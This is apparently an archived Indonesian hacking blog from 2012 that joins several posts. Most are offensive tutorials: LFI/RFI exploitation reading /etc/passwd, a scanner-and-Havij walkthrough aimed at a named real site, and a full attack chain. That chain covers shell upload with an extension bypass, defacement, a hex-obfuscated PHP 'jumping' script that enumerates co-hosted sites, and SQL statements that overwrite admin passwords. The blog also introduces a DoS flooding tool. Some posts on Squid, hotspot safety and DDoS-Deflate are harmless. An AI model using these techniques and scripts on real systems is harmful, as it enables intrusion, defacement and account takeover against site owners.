A Little Piece of n00b

Tutor singkat RFI & LFI

Buat yg belum tau aja yhaa... klo yg udh jago, mending ga ush di baca... drpd buang2 waktu 
Sebelumnya apa sih LFI dan RFI itu?? 
 
LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL. 
RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server. 
 
Penjelasan 
fungsi-fungsi yang dapat menyebabkan LFI/RFI: 
<blockquote class="tr_bq"><div class="codeblock"> <div class="title">Code: 
</div><div class="body" dir="ltr"><code>include(); 
include_once(); 
require(); 
require_once();</code></div></div></blockquote>Dengan syarat pada konfigurasi php di server: 
allow_url_include = on 
allow_url_fopen = on 
magic_quotes_gpc = off 
 
contoh: 
misalkan kita punya file index.php dengan content kodenya seperti ini, 
<blockquote class="tr_bq"><div class="codeblock"> <div class="title">Code: 
</div><div class="body" dir="ltr"><code><?php 
  include "../$_GET[imagefile]"; 
  ?></code></div></div></blockquote>misal $imagefile=image.php 
mungkin di url akan terlihat seperti ini bentuknya 
<blockquote class="tr_bq"><div class="codeblock"> <div class="title">Code: 
</div><div class="body" dir="ltr"><code>http://www.[target].com/index.php?imagefile=image.php</code></div></div></blockquote>maka script ini akan menampilkan halaman image.php. 
 
nah disini attacker akan dapat melakukan LFI karena variable imagefile di include begitu saja tanpa menggunakan filter. 
misalnya attacker ingin mengakses file passwd yang ada pada server, maka dia akan mencoba memasukan seperti ini ../../../../../../../../../etc/passwd << dengan jumlah "../" itu tergantung dari kedalaman folder tempat file index.php tersebut.. dengan begitu isi file passwd akan ditampilkan di browser. kita bisa menggunakan metode menebak struktur folder dalam website target :lol: 
 
tapi seandainya terdapat error seperti di bawah ini: 
 
Warning: main(../../../../../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /their/web/root/index.php on line 2 
liat pada passwd ternyata dia ditambah dengan extensi ".php" berarti code yang digunakan untuk include adalah seperti ini 
<blockquote class="tr_bq"><div class="codeblock"> <div class="body" dir="ltr">Code:<code> 
code: 
  <?php 
  include($_GET[imagefile].".php"); 
  ?></code></div></div></blockquote>nah untuk dapat mengelabui script tersebut kita bisa menggunakan (dengan syarat magic_quotes_gpc = off) jadi dibelakang /etc/passwd kita tambahkan seperti 
 
http://www.[target].com/index.php?imagefile=../../../../../../../../../etc/passwd 
 
lalu untuk apa ? yaitu untuk menghilangkan karakter apapun setelah passwd. 
* ini disebut null injection. 
 
Nah kita sudah menemukan bug LFI pada website target, sekarang kita coba cari bug RFI dengan menambahkan link file remote (dari luar website) pada variable imagefile. misalnya: 
 
http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt 
 
dengan file evil.txt misal berisi "hacked by n4is3n" 
 
jika ternyata di browser menampilkan kalimat tersebut berarti website tersebut vulner terhadap bug RFI juga. 
 
 
Pencegahan 
Nah sekarang saatnya untuk pencegahan kedua bug tersebut, yaitu 
1. Memvalidasi variable. 
2. Mengkonfigurasi kembali settingan php pada server website Anda. 
allow_url_include = off 
allow_url_fopen = off 
magic_quotes_gpc = on 
3. pada include mungkin bisa ditambahkan "./" 
jadinya seperti ini, 
<blockquote class="tr_bq"><div class="codeblock"> <div class="title">Code: 
</div><div class="body" dir="ltr"><code>Code: 
include("./"$_GET[imagefile].".php");</code></div></div></blockquote>maksudnya dengan seperti itu, saat kita mengakses file dari luar server maka hasilnya akan error karena saat pemrosesan setiap file yang masuk ke variable page akan ditambah ./ di depannya. 
 
http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt 
 
dengan seperti ini server atau website yang diinject akan mencari file http://www.[remote].com/evil.txt dan pastinya akan menyebabkan server menampilkan error bahwa tidak ditemukannya file tsb. 
 
Semoga tutor sederhana dan sangat awam ini (Maklum, yg nulis jg msh awam) bermanfaat. <img alt="Smile" border="0" src="http://hacker-newbie.org/images/kucink/smile.gif" style="vertical-align: middle;" title="Smile" /> 
 
*Referensi: 
- Crawler 
- <a href="http://en.wikipedia.org/local_file_incusion" target="_blank">http://en.wikipedia.org/local_file_incusion</a> 
- <a href="http://en.wikipedia.org/remote_file_inclusion" target="_blank">http://en.wikipedia.org/remote_file_inclusion</a>

Tutor singkat RFI & LFI

Buat yg belum tau aja yhaa... klo yg udh jago, mending ga ush di baca... drpd buang2 waktu Sebelumnya apa sih LFI dan RFI itu?? LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attac…

31 Mar 2012

Search bugs via webcruiser

download dulu toolsnya kk ., <a href="http://sec4app.com/" target="_blank">webcriuser </a> 
dalam contoh ini ane ambil contoh : <a href="http://radiantbusiness.co.za/" target="_blank">http://radiantbusiness.co.za/</a> 
cara kerja : 
 
1. buka dulu toolsnya ., 
2. silahkan kk masukan target pada bagian url .. dan klik scan site ., 
<ol></ol><div style="margin: 5px 20px 20px;"><div class="smallfont" style="margin-bottom: 2px;">Spoiler: <input onclick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Tutup'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Buka'; }" style="font-size: 12px; margin: 0px; padding: 0px; width: 55px;" type="button" value="Buka" /></div><div class="alt2" style="border: 1px inset; margin: 0px; padding: 6px;"><div style="display: none;"><div class="separator" style="clear: both; text-align: center;"><a href="http://a7.sphotos.ak.fbcdn.net/hphotos-ak-ash4/432329_264363583642864_100002076733212_610012_1016650492_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="235" src="http://a7.sphotos.ak.fbcdn.net/hphotos-ak-ash4/432329_264363583642864_100002076733212_610012_1016650492_n.jpg" width="320" /></a></div> 
</div></div></div>3. nantinya akan muncul kelemahan2 web yang kk udah scan tadi 
<div style="margin: 5px 20px 20px;"><div class="smallfont" style="margin-bottom: 2px;">Spoiler: <input onclick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Tutup'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Buka'; }" style="font-size: 12px; margin: 0px; padding: 0px; width: 55px;" type="button" value="Buka" /></div><div class="alt2" style="border: 1px inset; margin: 0px; padding: 6px;"><div style="display: none;"><div class="separator" style="clear: both; text-align: center;"><a href="http://a1.sphotos.ak.fbcdn.net/hphotos-ak-snc7/432329_264363586976197_100002076733212_610013_2060291815_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="235" src="http://a1.sphotos.ak.fbcdn.net/hphotos-ak-snc7/432329_264363586976197_100002076733212_610013_2060291815_n.jpg" width="320" /></a></div> 
</div></div></div>4. langkah lanjut ., kk bisa pake havij apa manual aja .. terserah deh ., tapi disini ane makenya havij .. 
5. masukan bug web target yang kita dapat tadi ! dan crootz username + passwordna ketemu ..!., 
<div style="margin: 5px 20px 20px;"><div class="smallfont" style="margin-bottom: 2px;">Spoiler: <input onclick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Tutup'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Buka'; }" style="font-size: 12px; margin: 0px; padding: 0px; width: 55px;" type="button" value="Buka" /></div><div class="alt2" style="border: 1px inset; margin: 0px; padding: 6px;"><div style="display: none;"><div class="separator" style="clear: both; text-align: center;"><a href="http://a4.sphotos.ak.fbcdn.net/hphotos-ak-snc7/432329_264363590309530_100002076733212_610014_2050749191_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="235" src="http://a4.sphotos.ak.fbcdn.net/hphotos-ak-snc7/432329_264363590309530_100002076733212_610014_2050749191_n.jpg" width="320" /></a></div> 
</div></div></div>6. selanjutnya terserah dah mau dibuat apa tu web 
<div style="margin: 5px 20px 20px;"><div class="smallfont" style="margin-bottom: 2px;">Spoiler: <input onclick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Tutup'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Buka'; }" style="font-size: 12px; margin: 0px; padding: 0px; width: 55px;" type="button" value="Buka" /></div><div class="alt2" style="border: 1px inset; margin: 0px; padding: 6px;"><div style="display: none;"><div class="separator" style="clear: both; text-align: center;"><a href="http://a6.sphotos.ak.fbcdn.net/hphotos-ak-snc7/432329_264363596976196_100002076733212_610015_1189499644_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="235" src="http://a6.sphotos.ak.fbcdn.net/hphotos-ak-snc7/432329_264363596976196_100002076733212_610015_1189499644_n.jpg" width="320" /></a></div> 
</div></div></div>Sekian ^.^

Search bugs via webcruiser

download dulu toolsnya kk ., webcriuser dalam contoh ini ane ambil contoh : http://radiantbusiness.co.za/ cara kerja : 1. buka dulu toolsnya ., 2. silahkan kk masukan target pada bagian url .. dan kl…

31 Mar 2012

Alur Web Attack

Scan => XPL/SQLi => Upload Shell => Deface/Jumping => Rooting 
 
1. Scan 
 
Cari tau dimana letak kelemahan web target. Bisa di scan pake beberapa tool scanner. Diantar'a yang paling terkenal : 
 
<a href="http://www.acunetix.com/" target="_blank"># Acunetix (Windows)</a> 
<a href="http://www.cirt.net/nikto2" target="_blank"># Nikto (Linux)</a> 
 
Selain dapat mendapatkan bug kita juga dengan tool itu akan dapat mengumpulkan informasi berguna dari web target. 
 
2. XPL/SQLi 
 
Setelah kita dapat menemukan data dari web target. Kita coba cari cara untuk meng-Exploitasi bug-bug yang sudah kita temukan dengan tool scanner tadi. Di bawah ini daftar situs yang menyediakan macam-macam Exploit : 
 
<a href="http://www.exploit-db.com/" target="_blank"># Exploit Database</a> 
<a href="http://packetstormsecurity.org/" target="_blank"># Packet Storm</a> 
<a href="http://www.1337day.com/" target="_blank"># Inj3ct0r</a> 
<a href="http://www.hack0wn.com/exploits.php" target="_blank"># Hack0wn</a> 
 
Apabila target menggunakan CMS Joomla/Wordpress, kita dapat mencari Exploit untuk plugin-plugin yang di gunakan web target. Karena dengan tool scanner di atas kita diberikan informasi seakan-akan web target sudah di bedah keseluruhan'a. Jadi kita tahu isi folder dari web target, termasuk plugin-plugin apa saja yang digunakan. 
 
Kalau teknik SQLi dapat di lihat disini : 
 
Ebook beserta sourc website untuk praktek teknik SQLi donlot <a href="http://www.4shared.com/file/-uHDjYGC/SQL-Injection-Exposed-cruzenal.html" target="_blank">disini</a> 
 
3. Upload Shell 
 
Website sudah bisa di Exploitasi dan kita sudah bisa masuk ke halaman admin. Tinggal kita upload shell'a sekarang ; 
 
- Upload shell di Wordpress bisa mengupload plugin or thema yang sudah disisipi file shell'a. 
- Upload shell di Joomla juga sama, cuma bisa juga menggunakan Plugin <a href="http://ari7al.blogspot.com/2010/08/upload-backdoor-di-joomla.html" target="_blank">Ninja Explorer</a> 
- Upload Shell di CMS biasa bisa melalui menu upload gambar, kalau tidak bisa coba shell'a di rename menjadi shell.php.jpg lalu upload. 
 
Setelah shell berhasil di upload tinggal panggil letak URL shell'a dimana. 
 
4. Deface or Jumping 
 
Kalau pengen gaya-gaya an (Deface), cari file index.php lalu rubah file di dalam'a dengan script Deface yang kita punya. Bagi yang malas bikin scrip deface dapat menggunakan tool ; <a href="http://ari7al.blogspot.com/2010/12/buat-yang-lagi-males-bikin-page-buat.html" target="_blank">DefaceMaker</a>. Coba arshive kan website yang sudah kita deface di situs : 
 
- <a href="http://indonesiandefacer.org/" target="_blank">Indonesian Defacer</a> 
- <a href="http://www.zone-h.org/" target="_blank">Zona-H</a> 
 
Tidak cukup hanya bisa men-Deface satu web saja. Coba gunakan teknik jumping untuk masuk ke web yang satu server sama web yang telah kita deface. Cara'a ? 
 
Script jumping ; 
<blockquote class="tr_bq"> 
<code><? 
 
$x15="\x61rray\137\x70\165\x73h"; $x16="f\x65\157\146"; $x17="fgets"; $x18="\146\x6f\160\145\156"; $x19="in\x69\137g\145\164"; $x1a="is\x5f\x72\145ad\141b\154e"; $x1b="\x73\x65t_t\151\155\x65\137li\155\x69t"; $x1c="\x73\x74\162\x70\157\163"; $x1d="\163\165b\x73t\x72"; 
($x0b = $x19('safe_mode') == 0) ? $x0b = 'off': die('Error: Safe Mode is On');$x1b(0);@$x0c = $x18('/etc/passwd','r');if (!$x0c) { die(' Error : Can Not Read Config Of Server '); }$x0d = array();$x0e = array();$x0f = array();$x10 = 0;echo "\074b>\x3cfo\x6e\x74\040fa\x63\x65=\126\x65\x72\x64an\141\x20s\151\x7a\x65\075\x33 c\157\154\157\x72\x3d\x54\x65\141\x6c>\x20\123\x65\x72\166\145\x72 \x4a\x75\155\160in\x67\x20\x46\x69\x6ed\145\162 \126er\x73ion\x201.\x30\x20<\057f\157\x6et\x3e<\x2f\x62\x3e<\142\x72\040\x2f\x3e";echo "<font \146\x61\x63\145\075V\145rd\x61\x6ea s\x69\172\x65=\x32 \x63\x6fl\x6f\162\075Ma\162\x6fo\x6e\x3eC\x72\x65at\145d \x42\x79\040\x58\141\144\160\x72ito\170 \x2c \0620\061\x30,\040\124\141\156\x67\145r\x61\x6e\147 <\057\x66\157\156\x74\076\074b\x72\040\x2f>";echo "\074\142\162\x20\057\076";echo "<\142>\x3c\146o\156t\x20\146\141\x63\145=V\145\x72\144\141\x6ea \x73\x69z\x65=\062\076\104ed\x69\143\141\164\x65\144\x20\124o\x20H\141c\x6b\145\ 162-\103\151\x73\141\x64\141\x6e\x65\x2e\x4fr\147\x20<\x2f\146\157n\164\076\074\x2f\142><\x62\x72 \x2f>";echo "\x3c\x66o\x6e\164\040f\141\143e\x3d\126\x65\162\x64\141n\x61\040\163\151z\x65\x3 d\x32\040\x63\157l\157\162\075\x4d\x61ro\157\156>\040\124ha\156ks\x20To\x20#\x20\104\145v\151\x6c\172c\060\x64\x65 \043\040\110\141c\x6be\x72\040\116e\167\x62\x69\145\x20\x23 \130\103\x6f\x64\145 \043 \112a\163a\153om \x23\x20\105\143h\x6f\040\043\040\x59\103L\x20#\x20\x49\x6e\144\x6fn\145sia\x6e\ x20\103\x79b\x65r \x23\040\x61\x6ed\040\x61l\x6c\x20Hack\x65\x72\040F\157\162\x75\155\040\111\x 6e In\144o\x6ee\x73\x69\141 <\057\x66\x6f\x6e\x74\x3e<\x62r /\x3e";echo "\x3c\x62r /\x3e";echo "<f\x6fnt\x20\146\x61\143\x65\x3d\126\x65\162\144a\156a \163iz\145=2\x20c\x6f\154\157\162\075\x4d\x61ro\157n\076 \x4f\x6b\054\x20L\x65\x74'\x73 B\x65g\x69n \x2e\x2e\056\x20\x3c/\x66\x6f\x6et><b\x72\x20\x2f\076";echo "\x3c\x66\x6fnt\x20f\141\143\145=\126er\144a\x6ea\x20\x73i\x7ae=\062 c\x6f\x6c\x6fr=\x54\x65al>\x2a\052\052*\052\x2a\x2a**\052\052\052\x2a***\x2a*\x2a\052\x2a\x2a**\052\x2a *\x2a\052\052\052\052**\052***\x2a*\x2a*\x2a\052*<\x2f\146\157\156t\076\x3c\142r\x20/>";while(!$x16($x0c)){$x11 = $x17($x0c);if ($x10 > 35){$x12 = $x1c($x11,':');$x13 = $x1d($x11,0,$x12);$x14 = '/home/'.$x13.'/public_html/';if (($x13 != '')){if ($x1a($x14)){$x15($x0e,$x13);$x15($x0d,$x14);echo "\x3c\x66on\164\x20f\141\x63\x65\x3dVe\162da\156\141\x20\163\x69ze\0752\040co\154 \x6f\x72=\x52\145\x64\x3e[F\x6f\x75\156d\x20\041\135 $x14\074/\x66\157n\x74\x3e";echo "<\142\x72/\x3e";}}}$x10++;}echo "\074\x66on\x74 \146\141ce\075\x56e\x72\x64\141\x6e\141\040\x73\151z\x65\075\062 \x63\x6flo\162\x3d\124\145\x61\154\076\x2a\x2a\x2a\052\x2a*\052\052*\x2a\052*\x2 a*\052\x2a*\052**\052*\x2a**\052\x2a\x2a**\052*\052\x2a\052\x2a\052**\052**\x2a\ x2a\052</font\076<b\x72\x20\057\x3e";echo "\x3cb\162 /\076";echo "<\146\157\x6et\x20\x66\x61\x63\x65\x3dV\x65\162\x64a\x6e\x61 \163\151\x7a\145=\062\040c\157l\157\x72=M\141\x72\157\x6f\156\076\x54\x68an\x6bs \106\x6fr \125\x73\x69n\x67 \x54\150\x69s S\151m\160\x6c\x65\x20\124\x6f\x6f\x6c\x73.\040 \x5e_\x5e\074\057\146\157\x6et\x3e\074b\162 \x2f\076";echo "\074f\157\156t\x20\x66\141ce=V\x65rd\x61\156a\040\163\x69\172\145\x3d\062\076 <\057\x66ont\x3e";echo "<f\157n\164\040f\x61\143\145\x3d\126e\162dana\040\163iz\145=\x32\x3e\074/\146\157\156t>"; 
 
?></code></blockquote>- Upload script jumping'a 
- Rename jadi jumpingfinder.php 
- Panggil letak URL file tersebut 
- Masuk ke public_html web target 
- Masuk ke MySQL'a (cari acount MySQL di file config) 
- Cari table user 
- Update Password user admin 
 
Dibawah ini ada script khusus untuk update user password admin : 
# Wordpress  
<blockquote class="tr_bq"><div class="title">PHP Code:</div><code>UPDATE `note_wrdp1`.`wp_users` SET `user_pass` = '$P$BdEAI5H.T0REbjjKME506zOW03nggb0' WHERE `wp_users`.`ID` = 1 LIMIT 1;</code></blockquote>User : admin 
Pass : admin 
 
# Joomla 
<blockquote class="tr_bq"><div class="title">PHP Code:</div><code>update `jos_users` set `password`="ece4f1e9e99fe6ca77c100d02cf4aa60" where `username`="admin"; </code></blockquote>User : admin 
Pass : devilzc0de 
 
Password admin sudah berhasil di update tinggal ikuti seperti langkah nomor 3. 
 
5. <a href="http://www.blogger.com/goog_680808912">Rooting</a><a href="http://www.m0dr0ok.co.cc/2012/03/root-server-menambahkan-user-root-baru.html" target="_blank"> </a> 
 
 
Sekian XD

Alur Web Attack

Scan => XPL/SQLi => Upload Shell => Deface/Jumping => Rooting 1. Scan Cari tau dimana letak kelemahan web target. Bisa di scan pake beberapa tool scanner. Diantar'a yang paling terkenal : # Acunetix …

31 Mar 2012

Tools web hacking paling hot 2012

WebSploit T00lKit -- Realese 1.5 * 03-29-2012 
WebSploit Is An Open Source Project For Scan And Analysis Remote System From Vulnerability 
Description : 
<blockquote class="tr_bq">[+]Autopwn - Used From Metasploit For Scan and Exploit Target Service 
[+]wmap - Scan,Crawler Target Used From Metasploit wmap plugin 
[+]format infector - inject reverse & bind payload into file format 
[+]phpmyadmin - Search Target phpmyadmin login page 
[+]lfi - Scan,Bypass local file inclusion Vulnerability & can be bypass some WAF 
[+]apache users - search server username directory (if use from apache webserver) 
[+]Dir Bruter - brute target directory with wordlist 
[+]admin finder - search admin & login page of target 
[+]MLITM Attack - Man Left In The Middle, XSS Phishing Attacks 
[+]MITM - Man In The Middle Attack 
[+]Java Applet Attack - Java Signed Applet Attack 
[+]MFOD Attack Vector - Middle Finger Of Doom Attack Vector 
[+]USB Infection Attack - Create Executable Backdoor For Infect USB For Windows</blockquote>About Author : 
Founder : 0x0ptim0us (Fardin Allahverdinajhand) 
Location : Azarbaycan 
 
Page : <a href="http://sourceforge.net/p/websploit/wiki/Home/" target="_blank">http://sourceforge.net/p/websploit/wiki/Home/</a> 
Download : <a href="http://sourceforge.net/projects/websploit/files/" target="_blank">http://sourceforge.net/projects/websploit/files/</a>

Tools web hacking paling hot 2012

WebSploit T00lKit -- Realese 1.5 * 03-29-2012 WebSploit Is An Open Source Project For Scan And Analysis Remote System From Vulnerability Description : [+]Autopwn - Used From Metasploit For Scan and E…

31 Mar 2012

IDM Wuiiissshhh.. :D

IDM Wuiiissshhh.. :D

permisi om,mbak... buat yg hobby download pake IDM ne ada tutorial cupu,biar downloadnya ajib..walau tempatnya kayak tempat ane yg rame.. sediakan IDM trus data yg mau didownload.. waktu udah mulai…

30 Mar 2012

Percepat Download Anda Dengan Squid Proxy Untuk Windows

Kita Sering dibingungkan dengan adanya "keleletan" dalam mendownload sesuatu. Disini saya mempunyai solusinya yaitu dengan menggunakan squid proxy. Dengan menggunkan squid proxy ini kita dapat mendownload file dengan lebih cepat dan juga menghemat bandwith kita. 
 
CARA INSTALL DAN SETTING SQUID PROXY 
1. Pertama kita download file Squid Proxynya <a href="http://www.4shared.com/file/gsUIYew_/squid.html" target="_blank">Disini</a> 
2. Lalu kita download lagi File <a href="http://www.4shared.com/file/3wjGmA1v/squid.html" target="_blank">Squid.conf </a> 
3. Kemudian Extract “Squid.rar” to “c:\squid” 
4. Lalu Copy and paste the “squid.conf” to “c:\squid\etc\” 
5. Kemudian Buka Command Prompt (CMD) 
6. Masuk ke Folder C:\Squid\Sbin\ 
7. Ketik “squid -i” untuk menginstall SQUID 
8. Ketik “squid -z” utnuk membuat Creating Swap Directories 
9. Kemudian Setelah itu kita Atur Squid Service agar selalu berjalan ketika start up : 
pergi control panel – Administrative Tools – Services 
10. Kemudian Right click – properties. kita set pada tab StartUp Type menjadi Automatic. kalau tombol start belum di click, silahkan click setelah kita mensetting Startup typenya. 
11. Kemudian klik OK. 
12. Lalu Setting proxy di browser kita dengan ini "127.0.0.1:3128" 
 
Squid Ini juga bisa di padukan dengan IDM (Internet Download Manager) dengan cara merubah setingan proxy di IDM.

Percepat Download Anda Dengan Squid Proxy Untuk Windows

30 Mar 2012

Tipz Aman Hotspotan Ditempat Umum

berdasarkan pengalman saya dan teman2 yang sedang hotspotan sering kali terjadi putus ditengah jalan hal ini membuat jengkel tentunya pas selidik demi selidk akhir ya saya tau bahwa ada seseorang yang dengan sengaja memutus jaringan hotspotan nya dengan bantuaan aplikasi netcut tentu saja hal ini sangat merugikan orang banyak dalam hati saya emang lu aja yang butu hotspotan internet....oleh karena itu saya menulis artikel semoga bisa bermanfaat bagi yang membacanya. 
 
Saat ini hot spot WiFi semakin banyak tersedia di berbagai tempat umum, tetapi setiap kali anda melakukan sambungan pada suatu hot spot sebenarnya anda membahayakan PC atau laptop anda sendiri. Hot spot adalah jaringan terbuka yang tidak menggunakan enkripsi sehingga ketika anda terhubung dengan pengguna hot spot lain, maka mereka dapat menyusup dan menimbulkan kerusakan pada komputer anda. 
 
Tetapi jangan sampai hal ini menyebabkan anda takut terhadap berbagai hot spot karena ada beberapa cara untuk mengamankan komputer anda ketika anda terhubung pada hot spot, yaitu: 
 
1. Matikan ad-hoc mode WiFi : WiFi berfungsi dalam 2 mode yaitu infrastructure mode, yang anda gunakan ketika terhubung dengan suatu jaringan dan ad-hoc mode, ketika anda terhubung secara langsung pada komputer lain. Jika anda menyalakan ad-hoc mode maka ada kemungkinan seseorang di dekat anda menggunakan koneksi ad-hoc tanpa sepengetahuan anda dan mereka dapat masuk ke PC anda dengan bebas. Jadi jangan lupa untuk mematikan ad-hoc mode, caranya: 
<ol><li> Klik kanan pada ikon wireless di system tray</li>
<li> Pilih Status</li>
<li> Klik Properties</li>
<li> Pilih tab Wireless Network</li>
<li> Pilih sambungan jaringan anda saat ini</li>
<li> Klik Properties, lalu klik tab Association</li>
<li> Hilangkan tanda centang pada kotak “This is a computer-to-computer (ad-hoc) network”.</li>
<li> Klik OK dan terus klik OK sampai semua kotak dialog menutup</li>
</ol>2.apabila anda sering mengalami masalah seperti tidak conect padahal orang lain jelas-jelas koneksi nya tidak terganggu nah kemungkinan anda terkena netcut dari seseoarng jalan keluar nya anda harus mengaktifkan Anti netcut yang bisa di download garatis dsini instal pada laptop anda terus aktifkan . 
 
3.paztikan kondisi batere laptop anda cukup paling gak sampe komputer masuk ke windows jika tidak passang catu daya kamu ke laptop agar aman 
 
4.Matikan wireless adapter anda jika sedang offline : Jika anda sedang tidak terhubung ke internet pada sebuah area hot spot, lebih baik anda mematikan wireless adapter anda. Pada XP klik kanan pada ikon wirelesss dan pilih Disable. 
 
5.Gunakan enkripsi email : Aktifkan enkripsi email pada saat anda sedang berada di area hot spot. Pada Outlook 2003 pilih Options dari menu Tools, klik tab Security dan berikan tanda centang pada kotak “Encrypt contents and attachments for outgoing messages.” Lalu klik OK. 
 
6.Jangan pernah tinggalkan laptop anda : Tentu saja hal ini tidak hanya mengundang hacker saja tetapi juga pencuri. 
 
Sekian.. ^.^

Tipz Aman Hotspotan Ditempat Umum

30 Mar 2012

Anti DDOS dengan DDOS-Deflate

ane cuma mau share tutor cupu yang ane dapet dari google barusan 
ini anti ddos versi google 
ok langsung saja cekidot 
 
Salah satu serangan mematikan dan menjadi suatu momok yang paling di benci oleh salah adminstrasi web jaringan adalah DDOS. ane gk jelasin mengenai apa itu DDOS .. cari tau sendiri aja ya. Nah mari kita coba2 belajar cara untuk menanggulanginya .. 
Pada saat server terasa berat ada kemungkinan anda terkena serangan DDOS. klo masih sempet kebuka sih masih bisa banned ip yang melakukan bad request ke server kita .. kita bisa cek dengan perintah : 
<blockquote class="tr_bq"><code>netstat -ntu | awk ‘{print $5}’ | cut -d: -f1 | sort | uniq -c | sort -n</code></blockquote>Nah klo gk sempet ? 
 
itulah maksud ane kita mesti melakukan apa yang di namakan dengan pencegahan .. 
ingat brother mencegah itu lebih baik dari pada mengobati .. hehehe 
lets learn .. 
ok sekarang login ke terminal pada server anda. Lewat SSH ato koneksi apa saja yang penting pada terminal ato console. 
Untuk sesi kali ini ane pengen berbagi tentang pemakaian DDOS-Deflate di mana tools ini akan membantu anda dalam pengamanan dari serangan DDOS. 
first .. ( download toolsnya via terminal) 
<blockquote class="tr_bq"><code>wget http://www.inetbase.com/scripts/ddos/install.sh</code></blockquote>nah setelah di download kita ubah chmod nya dulu agar dapat di esekusi ,, 
chmod 0700 install.sh 
./install.sh 
nah klo sudah terinstall teman-teman dapat mengedit file-file configurasi sesuai kehendak.. 
Untuk whitelist IP 
<blockquote class="tr_bq"><code>vim /usr/local/ddos/ignore.ip.list</code></blockquote>Untuk konfigurasi utamanya ada di 
<blockquote class="tr_bq"><code>vim /usr/local/ddos/ddos.conf</code></blockquote>kira – kira seperti ini defaultnya .. kalo mau di edit2 juga bisa <img alt="ketawa" border="0" src="http://devilzc0de.org/forum/images/smilies/ketawa.gif" style="vertical-align: middle;" title="ketawa" /> 
<blockquote class="tr_bq"><code>##### Paths of the script and other files 
PROGDIR=”/usr/local/ddos” 
PROG=”/usr/local/ddos/ddos.sh” 
IGNORE_IP_LIST=”/usr/local/ddos/ignore.ip.list” 
CRON=”/etc/cron.d/ddos.cron” 
APF=”/etc/apf/apf” 
IPT=”/sbin/iptables” 
##### frequency in minutes for running the script 
##### Caution: Every time this setting is changed, run the script with –cron 
##### option so that the new frequency takes effect 
FREQ=1 
##### How many connections define a bad IP? Indicate that below. 
NO_OF_CONNECTIONS=150 
##### APF_BAN=1 (Make sure your APF version is atleast 0.96) 
##### APF_BAN=0 (Uses iptables for banning ips instead of APF) 
APF_BAN=1 
##### KILL=0 (Bad IPs are’nt banned, good for interactive execution of script) 
##### KILL=1 (Recommended setting) 
KILL=1 
##### An email is sent to the following address when an IP is banned. 
##### Blank would suppress sending of mails 
EMAIL_TO=”root” 
##### Number of seconds the banned ip should remain in blacklist. 
BAN_PERIOD=600</code></blockquote>kira-kira begitu klo yang ane pake <img alt="malu" border="0" src="http://devilzc0de.org/forum/images/smilies/1.gif" style="vertical-align: middle;" title="malu" /> 
semoga bermanfaat ya buat semua<img alt="sabar" border="0" src="http://devilzc0de.org/forum/images/smilies/sabar.gif" style="vertical-align: middle;" title="sabar" /> 
suer nemu di google tuh trik <img alt="sabar" border="0" src="http://devilzc0de.org/forum/images/smilies/sabar.gif" style="vertical-align: middle;" title="sabar" /> 
ane mau lanjut <img alt="belajar" border="0" src="http://devilzc0de.org/forum/images/smilies/belajar.gif" style="vertical-align: middle;" title="belajar" /> lagi biar pinter seperti idola ane <img alt="wawa" border="0" src="http://devilzc0de.org/forum/images/smilies/wawa.gif" style="vertical-align: middle;" title="wawa" /> 
sekian semoga bermanfaat 
 
 
<a href="http://boeim-cyber.blogspot.com/2011/11/anti-ddos-dengan-ddos-deflate.html" target="_blank">Sumber</a>

Anti DDOS dengan DDOS-Deflate

ane cuma mau share tutor cupu yang ane dapet dari google barusan ini anti ddos versi google ok langsung saja cekidot Salah satu serangan mematikan dan menjadi suatu momok yang paling di benci oleh …

30 Mar 2012

Flooding Dengan PHP DOS

Ada banyak cara untuk melakukan flooding dan juga ada banyak ragam tools yang bisa digunakan (salah satu yang terkenal adalah tembak.c yang hanya bisa berjalan di linux). Salah satu tools flooding yang mudah untuk di gunakan adalah PHP DOS, tools ini akan melakukan <a href="http://id.wikipedia.org/wiki/Serangan_DoS" target="_blank">Flood</a> Via <a href="http://id.wikipedia.org/wiki/Transmission_Control_Protocol" target="_blank">TCP</a> dan <a href="http://id.wikipedia.org/wiki/Udp" target="_blank">UDP</a> menuju ke target <a href="http://id.wikipedia.org/wiki/Protokol_Internet" target="_blank">IP</a> dengan <a href="http://id.wikipedia.org/wiki/Port_TCP_dan_UDP" target="_blank">Port</a> 
 
tententu. Fungsinya? ya flooding sampai dengan target merasa terganggu. 
 
